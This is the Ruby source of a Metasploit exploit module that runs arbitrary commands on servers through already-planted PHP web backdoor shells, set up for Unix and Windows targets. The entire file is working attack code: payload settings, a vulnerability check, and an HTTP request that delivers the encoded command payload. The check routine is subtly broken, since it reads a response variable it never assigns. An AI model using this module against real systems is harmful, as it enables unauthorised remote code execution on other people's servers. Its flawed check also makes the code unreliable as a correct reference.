Simple Backdoor Shell Remote Code Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'           => 'Simple Backdoor Shell Remote Code Execution',
      'Description'    => %q{
        This module exploits unauthenticated simple web backdoor shells by leveraging the
        common backdoor shell's vulnerable parameter  to execute commands. The SecLists project of
        Daniel Miessler and Jason Haddix has a lot of samples for these kind of backdoor shells
        which is categorized under Payloads.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Jay Turla <@shipcod3>',
        ],
      'References'     =>
        [
          [ 'URL', 'http://resources.infosecinstitute.com/checking-out-backdoor-shells/' ],
          [ 'URL', 'https://github.com/danielmiessler/SecLists/tree/master/Payloads' ] # Most PHP Web Backdoors Listed
        ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'Space'    => 2000,
          'BadChars' => '',
          'DisableNops' => true,
          'Compat'      =>
            {
              'PayloadType' => 'cmd'
            }
        },
      'Platform'       => %w{ unix win },
      'Arch'           => ARCH_CMD,
      'Targets'        =>
        [
          ['backdoor / Unix', { 'Platform' => 'unix' } ],
          ['backdoor / Windows', { 'Platform' => 'win' } ]
        ],
      'DisclosureDate' => '2015-09-08',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The path of a backdoor shell', 'cmd.php']),
        OptString.new('VAR', [true, 'The command variable', 'cmd']),
        OptEnum.new('METHOD', [true, 'HTTP Method', 'GET', ['GET', 'POST', 'PUT']])
      ])
  end

  def check
    test = Rex::Text.rand_text_alpha(8)
    http_send_command(test)
    if res && res.body =~ /#{test}/
      return Exploit::CheckCode::Vulnerable
    end
    return Exploit::CheckCode::Safe
  end

  def http_send_command(cmd)
    res = send_request_cgi({
      'method'   => datastore['METHOD'],
      'uri'      => normalize_uri(target_uri.path),
      'vars_get' => {
        datastore['VAR'] => cmd
      }
    })
    unless res && res.code == 200
      fail_with(Failure::Unknown, "Failed to execute the command.")
    end
    res
  end

  def exploit
    http_send_command(payload.encoded)
  end
end